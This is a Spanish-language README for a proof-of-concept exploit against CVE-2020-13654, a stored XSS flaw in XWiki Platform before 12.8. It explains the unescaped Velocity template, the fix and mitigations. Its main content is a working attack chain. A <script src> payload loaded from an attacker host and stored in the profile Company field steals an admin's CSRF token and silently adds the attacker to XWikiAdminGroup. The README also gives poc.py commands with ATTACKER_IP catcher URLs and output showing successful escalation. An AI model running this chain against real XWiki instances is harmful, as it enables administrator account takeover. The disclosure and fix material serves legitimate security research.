
CVE-2020-13654 - XWiki Platform < 12.8 - Stored XSS → CSRF → Account Takeover
Descubierto y reportado por: Astaruf
Artículo completo: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2020-13654
XWiki Platform anterior a la versión 12.8 no aplica codificación HTML a los campos controlados por el usuario en el editor de perfil. El campo afectado confirmado durante la investigación es "Company" (en Editar → Información Personal), pero otros campos del perfil comparten la misma ruta de código.
Cuando se renderiza una página de perfil, el valor almacenado del campo se emite textualmente en el HTML sin ninguna llamada a $escapetool.xml() o escape equivalente. Un atacante con cualquier cuenta autenticada, incluyendo una recién auto-registrada, puede almacenar HTML/JavaScript arbitrario que se ejecuta de forma persistente en el navegador de cada usuario que visita el perfil, incluidos los administradores.
Causa raíz en la plantilla Velocity afectada:
## Vulnerable (< 12.8): value written directly to the DOM
$xwiki.getUserProperty($user, "company")
## Fixed (≥ 12.8): value HTML-encoded before output
$escapetool.xml($xwiki.getUserProperty($user, "company"))
| Campo | Valor |
|---|---|
| Producto | XWiki Platform |
| Versiones afectadas | < 12.8 |
| Corregido en | 12.8 |
| Puntuación CVSSv3 |
Esta PoC demuestra una cadena de escalada de privilegios sin clic:
Cuenta atacante con pocos privilegios
│
├─ almacena <script src="http://attacker/payload.js"> en el campo Company
▼
Página de perfil de XWiki (envenenada)
│
├─ admin navega a la página (p.ej., a través de la lista de usuarios o un ticket de soporte)
▼
El payload se ejecuta en la sesión del navegador del admin
│
├─ obtiene /bin/view/XWiki/XWikiAdminGroup → extrae el token CSRF
├─ envía POST form_token + xpage=adduorg + name=attacker → añade al atacante a XWikiAdminGroup
│
▼
El atacante ahora tiene acceso completo de administrador
No se requiere interacción del administrador más allá de una sola visita a la página.
poc.py es un script de exploit autónomo. Que:
Company del perfil, preservando todos los demás valores de campo existentes/payload.js) y registra las balizas entrantesCuando el admin visita la URL, la etiqueta <script src="..."> almacenada carga payload.js desde el servidor del atacante. El payload se ejecuta en el contexto autenticado del navegador del administrador, añade silenciosamente la cuenta del atacante a XWikiAdminGroup y envía una baliza con el resultado.
pip install -r requirements.txt
Con auto-registro (no se necesita cuenta preexistente):
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123' \
--register \
--first-name John \
--last-name Doe \
--email [email protected]
Con una cuenta existente con pocos privilegios:
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123'
[*] Registering account 'hacker' ...
✅ Registration successful.
[*] Authenticating as 'hacker' ...
✅ Authenticated. Session: {'JSESSIONID': 'ABC...'}
[*] Injecting payload into 'hacker' profile ...
✅ Payload stored: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Verifying stored payload ...
✅ Payload confirmed in page source.
════════════════════════════════════════════════════════════
EXPLOIT ARMED — WAITING FOR VICTIM
Share this URL with (or wait for) an administrator to visit:
>>> http://TARGET:8080/bin/view/XWiki/hacker
When triggered, the attacker account 'hacker'
will be silently added to XWikiAdminGroup.
════════════════════════════════════════════════════════════
2024-01-15 10:23:01 [INFO] 📡 Payload executing in victim browser | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION SUCCEEDED | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker
Actualice a XWiki Platform ≥ 12.8.
La corrección aplica $escapetool.xml() a todos los campos de perfil controlados por el usuario antes de renderizarlos, evitando la inyección de HTML/JavaScript sin procesar.
Si no es posible una actualización inmediata, restrinja el auto-registro y limite la visibilidad del perfil a usuarios de confianza mediante la gestión de derechos de acceso de XWiki.
| Fecha |
|---|
Este repositorio se proporciona únicamente con fines educativos y de investigación de seguridad autorizada.
No lo use contra sistemas que no posea o para los que no tenga permiso explícito por escrito para probar.
El autor no asume ninguna responsabilidad por el mal uso.
| 7.5 (Alta) |
| CWE | CWE-116 — Codificación o escape inadecuado de la salida |
| Argumento | Requerido | Descripción |
|---|
--target | ✅ | URL base de XWiki |
--catcher | ✅ | URL controlada por el atacante (utilizada para servir payload.js y recopilar balizas) |
--username | ✅ | Nombre de usuario de la cuenta atacante |
--password | ✅ | Contraseña de la cuenta atacante |
--register | ✗ | Auto-registrar la cuenta antes de explotar |
--first-name | si --register | Nombre de registro |
--last-name | si --register | Apellido de registro |
--email | si --register | Correo electrónico de registro |
| Evento |
|---|
| Mayo 2020 | Vulnerabilidad descubierta |
| Mayo 2020 | Reportada al equipo de seguridad de XWiki |
| Julio 2020 | Corregida en XWiki Platform 12.8 |
| Noviembre 2020 | CVE-2020-13654 asignado por MITRE |
| 30 de diciembre de 2020 | Divulgación pública — nstsec.com |